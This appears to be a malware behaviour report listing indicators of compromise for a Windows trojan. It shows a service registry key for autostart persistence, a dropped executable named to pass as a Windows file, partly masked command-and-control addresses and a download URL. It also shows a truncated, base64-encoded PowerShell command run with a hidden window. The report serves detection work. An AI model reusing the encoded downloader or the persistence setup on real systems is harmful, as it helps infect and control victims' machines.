Technical Information
- [<HKLM>\System\CurrentControlSet\Services\wmploc] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\wmploc] 'ImagePath' = '"%WINDIR%\SysWOW64\msrd3x40\wmploc.exe"'
- 'wmploc' "%WINDIR%\SysWOW64\msrd3x40\wmploc.exe"
- 'wmploc' %WINDIR%\SysWOW64\msrd3x40\wmploc.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABVAHoAMgBzAGMAXwBxAD0AKAAoACcAWABiADAAJwArACcAYgBoACcAKQArACcAMAAzACcAKQA7ACYAKAAnAG4AZQB3AC0AaQAnACsAJwB0ACcAKwAnAGUAbQAnACkAIAAkAGUATgB2ADoAVQBzAGUAUgBwAFIATwBGAGkAbABFAFwAWQBxADEARgAwAD...
- %HOMEPATH%\yq1f09m\inycp6p\cpc_0wt.exe
- %WINDIR%\syswow64\msrd3x40\wmploc.exe
- from %HOMEPATH%\yq1f09m\inycp6p\cpc_0wt.exe to %WINDIR%\syswow64\msrd3x40\wmploc.exe
- '18#.#15.227.107':443
- http://al####ektronik.com/wp-admin/A/
- http://18#.##5.227.107:443/ayeE/PZrWrP/CQaxuJfeR/ via 18#.#15.227.107
- DNS ASK al####ektronik.com
- '%HOMEPATH%\yq1f09m\inycp6p\cpc_0wt.exe'
- '%WINDIR%\syswow64\msrd3x40\wmploc.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABVAHoAMgBzAGMAXwBxAD0AKAAoACcAWABiADAAJwArACcAYgBoACcAKQArACcAMAAzACcAKQA7ACYAKAAnAG4AZQB3AC0AaQAnACsAJwB0ACcAKwAnAGUAbQAnACkAIAAkAGUATgB2ADoAVQBzAGUAUgBwAFIATwBGAGkAbABFAFwAWQBxADEARgAwAD...' (with hidden window)